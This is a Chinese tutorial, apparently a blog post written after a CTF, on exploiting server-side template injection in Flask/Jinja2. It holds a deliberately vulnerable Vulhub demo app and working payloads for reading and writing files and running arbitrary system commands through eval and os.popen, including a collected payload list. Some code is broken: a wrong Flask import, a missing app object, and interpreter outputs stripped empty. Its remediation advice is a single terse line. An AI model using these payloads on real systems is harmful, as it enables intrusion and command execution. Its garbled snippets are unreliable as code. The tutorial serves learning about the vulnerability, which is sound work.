前言
之前在做工作室CTF题目时第一次遇到这个漏洞,当时只想着拿flag,现在好好总结下
什么是Flask
Flask是一个轻量级的可定制框架,使用Python语言编写,较其他同类型框架更为灵活、轻便、安全且容易上手。它可以很好地结合MVC模式进行开发,开发人员分工合作,小型团队在短时间内就可以完成功能丰富的中小型网站或Web服务的实现。另外,Flask还有很强的定制性,用户可以根据自己的需求来添加相应的功能,在保持核心功能简单的同时实现功能的丰富与扩展,其强大的插件库可以让用户实现个性化的网站定制,开发出功能强大的网站。
什么是SSTI
SSTI(Server-Side Template Injection)
服务端模板注入,就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式
Flask基础
一个基础的Flask代码
from flask import flask
@app.route('/index/')
def hello_word():
return 'hello word'
这里导入flask模块,简单的实现了一个输出hello word的web程序。
route装饰器的作用是将函数与url绑定起来。这里的作用就是当访问http://127.0.0.1/index的时候,flask会返回hello word
jinja2
jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。
在jinja2中,存在三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等
jinja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。
被两个括号包裹的内容会输出其表达式的值
漏洞利用
构造payload原理
首先要知道python所有类的几个魔法方法:
__class__ 返回类型所属的对象(类)
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
构造payload的大致思路是:找到父类–>寻找子类(可能存在对文件操作的类file)–>找关于命令执行或者文件操作的模块
也就是通过python的对象的继承来一步步实现文件读取和命令执行的。
构造payload步骤
1.获取字符串的类对象(获取一个类)
>>> 'a'.__class__
2.寻找基类链,找到类
>>> 'a'.__class__.__mro__
(, , )
3.寻找类的所有子类中可用的引用类
>>> 'a'.__class__.__mro__[2].__subclasses__()
[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ]
这里可以看到有一个类,也就是对文件操作的类,那么可以拿他的方法进行文件读取。
4.利用的read()方法进行文件读取
'a'.__class__.__mro__[2].__subclasses__()[40]('/Users/rebecca/Sites/info.php').read()
漏洞复现
借助Vulhub复现SSTI漏洞
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
看到Template("Hello " +name),Template()完全可控,那么就可以直接写入jinja2的模板语言,如
寻找__builtins__得到eval
__builtin__为Python内置模块,包含内建名称空间中内建名字的集合,还包括内建函数,异常以及其他属性。像我们熟悉的object,type等等类的定义都在__builtin__中
寻找__builtins__的Python代码如下
for c in ().__class__.__bases__[0].__subclasses__():
try:
if '__builtins__' in c.__init__.__globals__.keys():
print(c.name)
except:
pass
运行代码,可以发现
找到了一个python2/3都有__builtins__的类 _IterationGuard
于是执行python2/3通用的用于执行任意代码的代码
for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='_IterationGuard':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
用jinja的语法即为(执行命令使用os.popen('whoami').read()才有执行结果的回显)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
在SSTI注入点中输入,得到结果
常见SSTI的payload收集
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
官方漏洞利用方法
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }} //poppen的参数就是要执行的命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
将上面这一串当作注入点参数传递即可执行命令,这里执行的是系统命令id,可在popen("")中填入任意系统命令均可执行。
漏洞修复
将传入可控参数的地方加上变量包裹符{{}},即可防止表达式执行